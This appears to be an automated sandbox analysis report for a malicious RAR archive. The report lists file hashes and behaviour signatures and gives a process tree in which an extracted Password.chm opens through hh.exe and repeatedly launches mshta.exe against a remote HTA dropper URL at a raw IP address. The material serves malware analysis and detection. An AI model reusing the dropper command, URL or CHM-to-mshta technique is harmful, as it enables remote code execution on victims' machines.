Analysis

  • max time kernel
    330s
  • max time network
    334s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    21-03-2023 18:34

General

  • Target

    df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5.rar

  • Size

    20KB

  • MD5

    e9230cf7615338ab037719646d67351b

  • SHA1

    12103bc077f677afb2ba7fac6445df3dd2f6df00

  • SHA256

    df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5

  • SHA512

    ea105a506746142d84622e73af65992abb12b1c78810d8d9814f4e34434aa4886faf8bf52938bf307d04d235676e4751c8c2f635600e42d434f1f458d5e8188c

  • SSDEEP

    384:eADnJetU1vItt31ye18De7iKncEHAUuOeja4zj6acJP7D8ynXITubFoxZ:eAj8O1vItZ1ye1T7ier/uOFc6FJPkGXW

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://141.105.65.165/data/11.html

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5.rar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5.rar
      2⤵
      • Modifies registry class
      PID:588
  • C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    1⤵
      PID:1380
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x1ac
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2008
    • C:\Program Files\7-Zip\7zG.exe
      "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5\" -ad -an -ai#7zMap24034:186:7zEvent1300
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2032
    • C:\Windows\hh.exe
      "C:\Windows\hh.exe" C:\Users\Admin\Desktop\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5\Password.chm
      1⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/11.html ,
        2⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1432
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/11.html ,
        2⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1080
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/11.html ,
        2⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1548
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/11.html ,
        2⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1780

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\Desktop\df5e4a1c071b30ddca796b7cf550368584d8a1cd3e0bb36481bfc2e70adfddd5\Password.chm

      Filesize

      10KB

      MD5

      b39182a535f41699280ca088eef0f258

      SHA1

      e1d570867afe13dcd4a9193a23c1deee384eb342

      SHA256

      ff0d4259510d8b9d6e43cec5224d72570f3b4e17ebd7f0c1ad1922748dec15e6

      SHA512

      b084b53dd6f25ae066b60b4e4a8037d7e9eeea7fa02acf4518289b98f106a7872fae1d5d731ada5ecbb7589f6dc221cf162143702f0650caad098eab6ddfbd91